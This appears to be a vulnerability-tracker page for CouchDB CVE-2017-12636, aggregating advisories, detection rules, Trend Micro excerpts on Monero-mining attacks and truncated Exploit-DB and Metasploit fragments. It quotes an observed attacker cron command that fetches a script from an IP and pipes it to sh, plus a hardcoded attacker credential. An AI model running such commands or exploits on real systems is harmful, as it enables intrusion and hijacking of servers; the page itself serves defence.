CVE-2017-12636
published 2017-11-14CVE-2017-12636: CouchDB administrative users can configure the database server via HTTP(S). Some of the configuration options include paths for operating system-level binaries…
PriorityP271high7.2CVSS 3.0
AVNACLPRHUINSUCHIHAH
EXPLOIT
EPSS
90.60%
99.8th percentile
CouchDB administrative users can configure the database server via HTTP(S). Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB. This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user, including downloading and executing scripts from the public internet.
Affected
9 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apache | couchdb | < 1.7.0 | 1.7.0 |
| apache | couchdb | < 2.2.0 | 2.2.0 |
| apache | couchdb | <= 1.7.1 | — |
| apache | couchdb | — | — |
| apache | couchdb | 2.0.0 – 2.1.1 | — |
| apache_software_foundation | apache_couchdb | < 1.7.2 | 1.7.2 |
| apache_software_foundation | apache_couchdb | — | — |
| apache_software_foundation | apache_couchdb | — | — |
| apache_software_foundation | apache_couchdb | — | — |
Detection & IOCsextracted from sources · hover to see the quote
commandecho "* * * * * wget -q http://94.250.253.178/logo6.jpg -O - | sh" >> /tmp/cron || true && crontab /tmp/cron↗
- →CouchDB exploitation traffic targets port 5984/TCP; monitor for suspicious HTTP requests to the /_config endpoint with administrative credentials, particularly Base64-encoded Authorization headers. ↗
- →Detect use of the hardcoded attacker credential 'topkek112:topkek112' (Base64: dG9wa2VrMTEyOnRvcGtlazExMg==) in HTTP Authorization headers against CouchDB endpoints. ↗
- →Look for the dropper payload pattern: a file with a .jpg extension that is actually a shell script piped directly to sh (e.g., curl <url>/logo6.jpg|sh). ↗
- →Monitor for creation of /var/tmp/vpz and execution of stratum mining protocol connections (stratum+tcp://) originating from CouchDB process context. ↗
- →Detect cron persistence mechanism: writing to /tmp/cron and invoking crontab to schedule a recurring wget|sh one-liner every minute. ↗
- →Trend Micro Deep Security DPI rule 1008840 covers CVE-2017-12636 Apache CouchDB '_config' Command Execution Vulnerability. ↗
- →TippingPoint MainlineDV filter 30310 covers HTTP Apache CouchDB _config Command Execution Vulnerability (CVE-2017-12636). ↗
- →Home Network Security rule 1134322 covers WEB Apache CouchDB _config Command Execution -1.1 (CVE-2017-12636). ↗
- ·CVE-2017-12636 requires the attacker to already have CouchDB admin credentials; in observed attacks, CVE-2017-12635 was chained first to create the admin account before exploiting this RCE. ↗
- ·The vulnerability affects Apache CouchDB before 1.7.0 and 2.x before 2.1.1; patched versions released November 2017. ↗
CVSS provenance
nvdv3.07.2HIGHCVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
nvdv2.09.0CRITICALAV:N/AC:L/Au:S/C:C/I:C/A:C
osv9.8CRITICAL
vulncheck9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-mqj2-xj98-r5xp: Apache CouchDB administrative users can configure the database server via HTTP(S)
ghsa_unreviewed·2022-05-14·CVSS 7.2
CVE-2018-8007 [HIGH] CWE-20 GHSA-mqj2-xj98-r5xp: Apache CouchDB administrative users can configure the database server via HTTP(S)
Apache CouchDB administrative users can configure the database server via HTTP(S). Due to insufficient validation of administrator-supplied configuration settings via the HTTP API, it is possible for a CouchDB administrator user to escalate their privileges to that of the operating system's user that CouchDB runs under, by bypassing the blacklist of configuration settings that are not allowed to be modified via the HTTP API. This privilege escalation effectively allows an existing CouchDB admin user to gain arbitrary remote code execution, bypassing already disclosed CVE-2017-12636. Mitigation: All users should upgrade to CouchDB releases 1.7.2 or 2.1.2.
GHSA
GHSA-fcpq-cj4x-h8mv: CouchDB administrative users can configure the database server via HTTP(S)
ghsa_unreviewed·2022-05-14
CVE-2017-12636 [HIGH] CWE-78 GHSA-fcpq-cj4x-h8mv: CouchDB administrative users can configure the database server via HTTP(S)
CouchDB administrative users can configure the database server via HTTP(S). Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB. This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user, including downloading and executing scripts from the public internet.
GHSA
GHSA-f3p2-qqmm-jg8f: Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1
ghsa_unreviewed·2022-05-13·CVSS 7.2
CVE-2017-12635 [HIGH] CWE-269 GHSA-f3p2-qqmm-jg8f: Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1
Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keys for 'roles' used for access control within the database, including the special case '_admin' role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON, the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization for the newly created user. By design, users can not assign t
GHSA
GHSA-33mm-q6vp-mvmv: CouchDB administrative users before 2
ghsa_unreviewed·2022-05-13·CVSS 7.2
CVE-2018-11769 [HIGH] GHSA-33mm-q6vp-mvmv: CouchDB administrative users before 2
CouchDB administrative users before 2.2.0 can configure the database server via HTTP(S). Due to insufficient validation of administrator-supplied configuration settings via the HTTP API, it is possible for a CouchDB administrator user to escalate their privileges to that of the operating system's user under which CouchDB runs, by bypassing the blacklist of configuration settings that are not allowed to be modified via the HTTP API. This privilege escalation effectively allows a CouchDB admin user to gain arbitrary remote code execution, bypassing CVE-2017-12636 and CVE-2018-8007.
OSV
CVE-2018-11769: CouchDB administrative users before 2
osv·2018-08-08·CVSS 7.2
CVE-2018-11769 [HIGH] CVE-2018-11769: CouchDB administrative users before 2
CouchDB administrative users before 2.2.0 can configure the database server via HTTP(S). Due to insufficient validation of administrator-supplied configuration settings via the HTTP API, it is possible for a CouchDB administrator user to escalate their privileges to that of the operating system's user under which CouchDB runs, by bypassing the blacklist of configuration settings that are not allowed to be modified via the HTTP API. This privilege escalation effectively allows a CouchDB admin user to gain arbitrary remote code execution, bypassing CVE-2017-12636 and CVE-2018-8007.
OSV
CVE-2018-8007: Apache CouchDB administrative users can configure the database server via HTTP(S)
osv·2018-07-11·CVSS 7.2
CVE-2018-8007 [HIGH] CVE-2018-8007: Apache CouchDB administrative users can configure the database server via HTTP(S)
Apache CouchDB administrative users can configure the database server via HTTP(S). Due to insufficient validation of administrator-supplied configuration settings via the HTTP API, it is possible for a CouchDB administrator user to escalate their privileges to that of the operating system's user that CouchDB runs under, by bypassing the blacklist of configuration settings that are not allowed to be modified via the HTTP API. This privilege escalation effectively allows an existing CouchDB admin user to gain arbitrary remote code execution, bypassing already disclosed CVE-2017-12636. Mitigation: All users should upgrade to CouchDB releases 1.7.2 or 2.1.2.
VulnCheck
Apache CouchDB Improper Input Validation
vulncheck·2018·CVSS 7.2
CVE-2018-8007 [HIGH] Apache CouchDB Improper Input Validation
Apache CouchDB Improper Input Validation
Apache CouchDB administrative users can configure the database server via HTTP(S). Due to insufficient validation of administrator-supplied configuration settings via the HTTP API, it is possible for a CouchDB administrator user to escalate their privileges to that of the operating system's user that CouchDB runs under, by bypassing the blacklist of configuration settings that are not allowed to be modified via the HTTP API. This privilege escalation effectively allows an existing CouchDB admin user to gain arbitrary remote code execution, bypassing already disclosed CVE-2017-12636. Mitigation: All users should upgrade to CouchDB releases 1.7.2 or 2.1.2.
Affected: Apache CouchDB
Required Action: Apply remediations or mitigations per vendor instru
OSV
CVE-2017-12635: Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1
osv·2017-11-14·CVSS 9.8
CVE-2017-12635 [CRITICAL] CVE-2017-12635: Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1
Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keys for 'roles' used for access control within the database, including the special case '_admin' role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON, the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization for the newly created user. By design, users can not assign t
OSV
CVE-2017-12636: CouchDB administrative users can configure the database server via HTTP(S)
osv·2017-11-14·CVSS 7.2
CVE-2017-12636 [HIGH] CVE-2017-12636: CouchDB administrative users can configure the database server via HTTP(S)
CouchDB administrative users can configure the database server via HTTP(S). Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB. This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user, including downloading and executing scripts from the public internet.
VulnCheck
Apache CouchDB Improper Privilege Management
vulncheck·2017·CVSS 9.8
CVE-2017-12635 [CRITICAL] Apache CouchDB Improper Privilege Management
Apache CouchDB Improper Privilege Management
Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keys for 'roles' used for access control within the database, including the special case '_admin' role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON, the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization for the newly c
Suricata
ET WEB_SPECIFIC_APPS Apache CouchDB Remote Code Execution 3
suricata·2018-06-25
CVE-2017-12636 ET WEB_SPECIFIC_APPS Apache CouchDB Remote Code Execution 3
ET WEB_SPECIFIC_APPS Apache CouchDB Remote Code Execution 3
Rule: alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET WEB_SPECIFIC_APPS Apache CouchDB Remote Code Execution 3"; flow:established,to_server; http.uri; content:"/_temp_view?limit="; http.request_body; content:"|22|cmd|22|"; fast_pattern; reference:cve,2017-12636; classtype:attempted-user; sid:2025742; rev:3; metadata:attack_target Web_Server, created_at 2018_06_25, cve CVE_2017_12636, deployment Datacenter, signature_severity Major, updated_at 2020_08_25, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application;)
Suricata
ET WEB_SPECIFIC_APPS Apache CouchDB Remote Code Execution 4
suricata·2018-06-25
CVE-2017-12636 ET WEB_SPECIFIC_APPS Apache CouchDB Remote Code Execution 4
ET WEB_SPECIFIC_APPS Apache CouchDB Remote Code Execution 4
Rule: alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET WEB_SPECIFIC_APPS Apache CouchDB Remote Code Execution 4"; flow:established,to_server; http.method; content:"DELETE"; http.uri; content:"/_config/query_servers/cmd"; fast_pattern; reference:cve,2017-12636; classtype:attempted-user; sid:2025743; rev:3; metadata:attack_target Web_Server, created_at 2018_06_25, cve CVE_2017_12636, deployment Datacenter, confidence High, signature_severity Major, updated_at 2020_08_25, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application;)
Suricata
ET WEB_SPECIFIC_APPS Apache CouchDB Remote Code Execution 2
suricata·2018-06-25
CVE-2017-12636 ET WEB_SPECIFIC_APPS Apache CouchDB Remote Code Execution 2
ET WEB_SPECIFIC_APPS Apache CouchDB Remote Code Execution 2
Rule: alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET WEB_SPECIFIC_APPS Apache CouchDB Remote Code Execution 2"; flow:established,to_server; http.uri; content:"/_config/query_servers/cmd"; reference:cve,2017-12636; classtype:attempted-user; sid:2025741; rev:3; metadata:attack_target Web_Server, created_at 2018_06_25, cve CVE_2017_12636, deployment Datacenter, confidence Medium, signature_severity Major, updated_at 2020_08_25, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application;)
Suricata
ET EXPLOIT Apache CouchDB JSON Remote Privesc Attempt (CVE-2017-12636)
suricata·2018-03-13·CVSS 7.2
CVE-2017-12636 [HIGH] ET EXPLOIT Apache CouchDB JSON Remote Privesc Attempt (CVE-2017-12636)
ET EXPLOIT Apache CouchDB JSON Remote Privesc Attempt (CVE-2017-12636)
Rule: alert http any any -> $HOME_NET 5984 (msg:"ET EXPLOIT Apache CouchDB JSON Remote Privesc Attempt (CVE-2017-12636)"; flow:established,to_server,only_stream; urilen:26; http.method; content:"PUT"; http.uri; content:"/_config/query_servers/cmd"; fast_pattern; http.header; header_lowercase; content:"authorization|3a 20|Basic"; http.request_body; pcre:"/^\s*[\x22\x27]/"; reference:cve,2017-12636; reference:url,blog.trendmicro.com/trendlabs-security-intelligence/vulnerabilities-apache-couchdb-open-door-monero-miners/; classtype:attempted-admin; sid:2025432; rev:6; metadata:created_at 2018_03_13, cve CVE_2017_12636, deployment Datacenter, performance_impact Moderate, signature_severity Major, tag Description_Generated_B
Exploit-DB
Apache CouchDB - Arbitrary Command Execution (Metasploit)
exploitdb·2018-07-13·CVSS 9.8
CVE-2017-12636 [CRITICAL] Apache CouchDB - Arbitrary Command Execution (Metasploit)
Apache CouchDB - Arbitrary Command Execution (Metasploit)
---
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule 'Apache CouchDB Arbitrary Command Execution',
'Description' => %q{
CouchDB administrative users can configure the database server via HTTP(S).
Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.
This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,
including downloading and executing scripts from the public internet.
},
'Author' => [
'Max Justicz', # CVE-2017-12635 Vulnerability discovery
'Joan Touzet', # CVE-2017-
Exploit-DB
Apache CouchDB < 2.1.0 - Remote Code Execution
exploitdb·2018-06-20·CVSS 7.2
CVE-2017-12636 [HIGH] Apache CouchDB < 2.1.0 - Remote Code Execution
Apache CouchDB < 2.1.0 - Remote Code Execution
---
# Title: Apache CouchDB < 2.1.0 - Remote Code Execution
# Author: Cody Zacharias
# Shodan Dork: port:5984
# Vendor Homepage: http://couchdb.apache.org/
# Software Link: http://archive.apache.org/dist/couchdb/source/1.6.0/
# Version: <= 1.7.0 and 2.x - 2.1.0
# Tested on: Debian
# CVE : CVE-2017-12636
# References:
# https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
# https://blog.trendmicro.com/trendlabs-security-intelligence/vulnerabilities-apache-couchdb-open-door-monero-miners/
# Proof of Concept: python exploit.py --priv -c "id" http://localhost:5984
#!/usr/bin/env python
from requests.auth import HTTPBasicAuth
import argparse
import requests
import re
import sys
def getVersion():
version = requests.get(args.host).json()["v
Nuclei
Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation
nuclei·CVSS 9.8
CVE-2017-12635 [CRITICAL] Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation
Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation
Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keysfor 'roles' used for access control within the database, including the special case '_admin' role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behavior that if two 'roles' keys are available in the JSON, the second one will be used for authorizing the document write, but the first 'roles' key is used for subsequent authorizati
Metasploit
Apache CouchDB Arbitrary Command Execution
metasploit
Apache CouchDB Arbitrary Command Execution
Apache CouchDB Arbitrary Command Execution
CouchDB administrative users can configure the database server via HTTP(S). Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB. This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user, including downloading and executing scripts from the public internet.
Trendmicro
Apache CouchDB Vulnerabilities Permit Monero Mining
blogs_trendmicro·2018-02-15·CVSS 9.8
[CRITICAL] Apache CouchDB Vulnerabilities Permit Monero Mining
Ausnutzung von Schwachstellen
## Apache CouchDB Vulnerabilities Permit Monero Mining
Based on data from worldwide sensors, we have observed a new attack that exploits two vulnerabilities in a popular database system to deliver miners for the Monero cryptocurrency.
By: Hubert Lin Feb 15, 2018 Read time: ( words)
Save to Folio
Attacks abusing cryptocurrency miners have been on an upswing — in large part due to the growing popularity of digital currencies. Based on data from our sensors that we deployed worldwide, we have observed a new attack that exploits two vulnerabilities in a popular database system to deliver miners (detected by Trend Micro as HKTL_COINMINE.GE, HKTL_COINMINE.GP, and HKTL_COINMINE.GQ) for the Monero cryptocurrency. In this instance, Apache CouchDB — an open source
Trendmicro
Apache CouchDB Vulnerabilities Permit Monero Mining
blogs_trendmicro·2018-02-15·CVSS 9.8
[CRITICAL] Apache CouchDB Vulnerabilities Permit Monero Mining
Exploits & Vulnerabilities
## Apache CouchDB Vulnerabilities Permit Monero Mining
Based on data from worldwide sensors, we have observed a new attack that exploits two vulnerabilities in a popular database system to deliver miners for the Monero cryptocurrency.
By: Hubert Lin 2018/02/15 Read time: ( words)
Save to Folio
Attacks abusing cryptocurrency miners have been on an upswing — in large part due to the growing popularity of digital currencies. Based on data from our sensors that we deployed worldwide, we have observed a new attack that exploits two vulnerabilities in a popular database system to deliver miners (detected by Trend Micro as HKTL_COINMINE.GE, HKTL_COINMINE.GP, and HKTL_COINMINE.GQ) for the Monero cryptocurrency. In this instance, Apache CouchDB — an open source datab
Trendmicro
Apache CouchDB Vulnerabilities Permit Monero Mining
blogs_trendmicro·2018-02-15·CVSS 9.8
[CRITICAL] Apache CouchDB Vulnerabilities Permit Monero Mining
Exploits y vulnerabilidades
## Apache CouchDB Vulnerabilities Permit Monero Mining
Based on data from worldwide sensors, we have observed a new attack that exploits two vulnerabilities in a popular database system to deliver miners for the Monero cryptocurrency.
By: Hubert Lin Feb 15, 2018 Read time: ( words)
Save to Folio
Attacks abusing cryptocurrency miners have been on an upswing — in large part due to the growing popularity of digital currencies. Based on data from our sensors that we deployed worldwide, we have observed a new attack that exploits two vulnerabilities in a popular database system to deliver miners (detected by Trend Micro as HKTL_COINMINE.GE, HKTL_COINMINE.GP, and HKTL_COINMINE.GQ) for the Monero cryptocurrency. In this instance, Apache CouchDB — an open source da
Trendmicro
Apache CouchDB Vulnerabilities Permit Monero Mining
blogs_trendmicro·2018-02-15·CVSS 9.8
[CRITICAL] Apache CouchDB Vulnerabilities Permit Monero Mining
Exploits & Vulnerabilities
## Apache CouchDB Vulnerabilities Permit Monero Mining
Based on data from worldwide sensors, we have observed a new attack that exploits two vulnerabilities in a popular database system to deliver miners for the Monero cryptocurrency.
By: Hubert Lin Feb 15, 2018 Read time: ( words)
Save to Folio
Attacks abusing cryptocurrency miners have been on an upswing — in large part due to the growing popularity of digital currencies. Based on data from our sensors that we deployed worldwide, we have observed a new attack that exploits two vulnerabilities in a popular database system to deliver miners (detected by Trend Micro as HKTL_COINMINE.GE, HKTL_COINMINE.GP, and HKTL_COINMINE.GQ) for the Monero cryptocurrency. In this instance, Apache CouchDB — an open source dat
Trendmicro
Apache CouchDB Vulnerabilities Permit Monero Mining
blogs_trendmicro·2018-02-15·CVSS 9.8
[CRITICAL] Apache CouchDB Vulnerabilities Permit Monero Mining
Exploits & Vulnerabilities
# Apache CouchDB Vulnerabilities Permit Monero Mining
Based on data from worldwide sensors, we have observed a new attack that exploits two vulnerabilities in a popular database system to deliver miners for the Monero cryptocurrency.
By: Hubert Lin
2018/02/15
Read time: ( words)
Save to Folio
Attacks abusing cryptocurrency miners have been on an upswing — in large part due to the growing popularity of digital currencies. Based on data from our sensors that we deployed worldwide, we have observed a new attack that exploits two vulnerabilities in a popular database system to deliver miners (detected by Trend Micro as HKTL_COINMINE.GE, HKTL_COINMINE.GP, and HKTL_COINMINE.GQ) for the Monero cryptocurrency. In this instance, Apache CouchDB — an open source datab
Bugzilla
CVE-2018-11769 couchdb: Possible privilege escalation by couchdb administrator to system couchdb user
bugzilla·2018-12-18·CVSS 7.2
CVE-2018-11769 [HIGH] CVE-2018-11769 couchdb: Possible privilege escalation by couchdb administrator to system couchdb user
CVE-2018-11769 couchdb: Possible privilege escalation by couchdb administrator to system couchdb user
CouchDB administrative users can configure the database server via HTTP(S). Due to insufficient validation of administrator-supplied configuration settings via the HTTP API, it is possible for a CouchDB administrator user to escalate their privileges to that of the operating system’s user under which CouchDB runs, by bypassing the blacklist of configuration settings that are not allowed to be modified via the HTTP API.
This privilege escalation effectively allows a CouchDB admin user to gain arbitrary remote code execution, bypassing mitigations for CVE-2017-12636 and CVE-2018-8007.
References:
https://lists.apache.org/thread.html/1052ad7a1b32b9756df4f7860f5cb5a96b739f444117325a19a4bf7
Bugzilla
CVE-2017-12636 couchdb: OS Command injection as couchdb user via remote configuration options
bugzilla·2017-11-23·CVSS 7.2
CVE-2017-12636 [HIGH] CVE-2017-12636 couchdb: OS Command injection as couchdb user via remote configuration options
CVE-2017-12636 couchdb: OS Command injection as couchdb user via remote configuration options
CouchDB administrative users can configure the database server via HTTP(S). Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB. This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user.
References:
https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E
Discussion:
Created couchdb tracking bugs for this issue:
Affects: fedora-all [bug 1516981]
---
This CVE Bugzilla entry is for community support informational purposes only as it does not affect a package in a commercially su
Bugzilla
CVE-2017-12635 CVE-2017-12636 couchdb: various flaws [fedora-all]
bugzilla·2017-11-23·CVSS 9.8
CVE-2017-12635 [CRITICAL] CVE-2017-12635 CVE-2017-12636 couchdb: various flaws [fedora-all]
CVE-2017-12635 CVE-2017-12636 couchdb: various flaws [fedora-all]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of fedora-all.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When submitting as an update, use the fedpkg template provided in the next
comment(s). This will include the bug IDs of this tracking bug as well as
the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and the
fedpkg commit message.
NOTE: this issue affects multiple supported versions of Fedora.
arXiv
Hybrid Privilege Escalation and Remote Code Execution Exploit Chains
arxiv_fulltext·2025-09-22
Hybrid Privilege Escalation and Remote Code Execution Exploit Chains
Exploit Classification
Modeling
AI Planning
ALFA-Chains
RCE
Core Certified Exploit Library
DMZ+LAN
20+6subs
200+6subs
Purdue_1
Purdue_2
Purdue_3
Synthetic
H0
H1
H2
Hybrid Privilege Escalation and Remote Code Execution Exploit Chains
Miguel Tulla
MIT
Cambridge, MA
Email: [email protected]
Andrea Vignali
University of Naples Federico II
Naples, Italy
Email: [email protected]
Cristian Colon
MIT
Cambridge, MA
Email: [email protected]
Anahita Srinivasan
MIT
Cambridge, MA
Email: [email protected]
Giancarlo Sperlì
University of Naples Federico II
Naples, Italy
Email: [email protected]
Simon Pietro Romano
University of Naples Federico II
Naples, Italy
Email: [email protected]
Masataro Asai
MIT-IBM Watson AI Lab
Cambridge, MA
Email: [email protected]
Erik Hemberg
https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67%40%3Cdev.couchdb.apache.org%3Ehttps://lists.debian.org/debian-lts-announce/2018/01/msg00026.htmlhttps://security.gentoo.org/glsa/201711-16https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbmu03935en_ushttps://www.exploit-db.com/exploits/44913/https://www.exploit-db.com/exploits/45019/https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67%40%3Cdev.couchdb.apache.org%3Ehttps://lists.debian.org/debian-lts-announce/2018/01/msg00026.htmlhttps://security.gentoo.org/glsa/201711-16https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbmu03935en_ushttps://www.exploit-db.com/exploits/44913/https://www.exploit-db.com/exploits/45019/
2017-11-14
Published